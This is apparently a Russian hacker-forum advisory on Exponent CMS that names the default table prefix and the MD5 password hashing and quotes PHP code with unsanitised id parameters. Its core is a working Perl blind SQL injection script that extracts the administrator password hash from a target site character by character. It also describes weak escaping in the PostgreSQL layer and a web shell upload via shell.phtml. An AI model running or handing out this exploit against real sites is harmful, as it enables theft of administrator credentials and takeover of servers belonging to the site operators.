Код: default prefix: exponent_ user table: user auth columns: username,password Hash: md5($pass)
default prefix: exponent_ user table: user auth columns: username,password Hash: md5($pass)
Bulletin Board by OIC Group, Inc
/view_thread.php
.... if (!defined("EXPONENT")) exit(""); $bb = null; $post = null; $post = $db->selectObject("bb_post","id=".$_GET['id']); # Видим, второе поле учавствует в запросе ниже. if ($post && $post->parent != 0) $post = $db->selectObject("bb_post","id=".$post->parent); ....
.... function selectObjects($table, $where = null,$orderby = null) { if ($where == null) $where = "1"; if ($orderby == null) $orderby = ''; else $orderby = "ORDER BY " . $orderby; $res = @mysqli_query($this->connection, "SELECT * FROM `" . $this->prefix . "$table` WHERE $where $orderby"); if ($res == null) return array(); $objects = array(); for ($i = 0; $i < mysqli_num_rows($res); $i++) $objects[] = mysqli_fetch_object($res); return $objects; } ....
#!/usr/bin/perl use strict; use LWP::Simple; &usage; my $host = shift; my $id = shift; $|=1; my $n=48; my $i =1; my $loop = 1; my ($content,$result) = undef; my $request = 0; print "Administrator hash: "; while($loop) { $content = get($host.'/bbmodule/view_thread/id/'.$id.'+and+if(ascii(upper(substring((select+password+from+exponent_user+where+id=1),'.$i.',1)))='.$n.',1,0)'); if($content =~ /Posted on/) {print $result=chr($n); $n=47; $i++;} elsif($i==33) {$loop = 0} else {$n++; if($n==58){$n=65} } $request++; } print "\nREQUEST: ".$request; sub usage { print q { ################################################################# Exponent Bulletin Board Blind SQL Injection Exploit (id) Author: ZAMUT Vuln: id= Homepage: http://antichat.ru Usage: expon.pl [Server] [Valid Id] Example: perl expon.pl http://bla.ru 2 ################################################################# }; }
Module Weblog / Online Journal
/comment_save.php
if (isset($comment->id)) { $comment->editor = $user->id; $comment->edited = time(); $db->updateObject($comment,'weblog_comment'); } else { $comment->posted = time(); if (isset($user) && $user->id != 0) { $comment->poster = $user->id; $comment->name = $user->username; } elseif (isset($_POST['name'])) { $comment->name = $_POST['name']; } else { $comment->name = 'Anonymous'; } $comment->parent_id = intval($_POST['parent_id']); $db->insertObject($comment,'weblog_comment'); }
/postgres.php
function insertObject($object,$table) { $sql = "INSERT INTO " . $this->prefix.$table . " ("; $values = ") VALUES ("; foreach (get_object_vars($object) as $var=>$val) { $sql .= "$var,"; $values .= "'".str_replace("'","\\'",$val)."',"; } if (pg_query($this->connection,substr($sql,0,-1).substr($values,0,-1) . ")") !== false) { $sql = "SELECT last_value FROM " . $this->prefix.$table ."_id_seq"; $res = @pg_query($this->connection,$sql); if ($res) { $o = pg_fetch_object($res); pg_free_result($res); return $o->last_value; } else return 0; } else return 0; }
Manage Files => Upload => shell.phtml
http://localhost/exp/files/shell.phtml
# secure directory by disabling script execution AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi Options -ExecCGI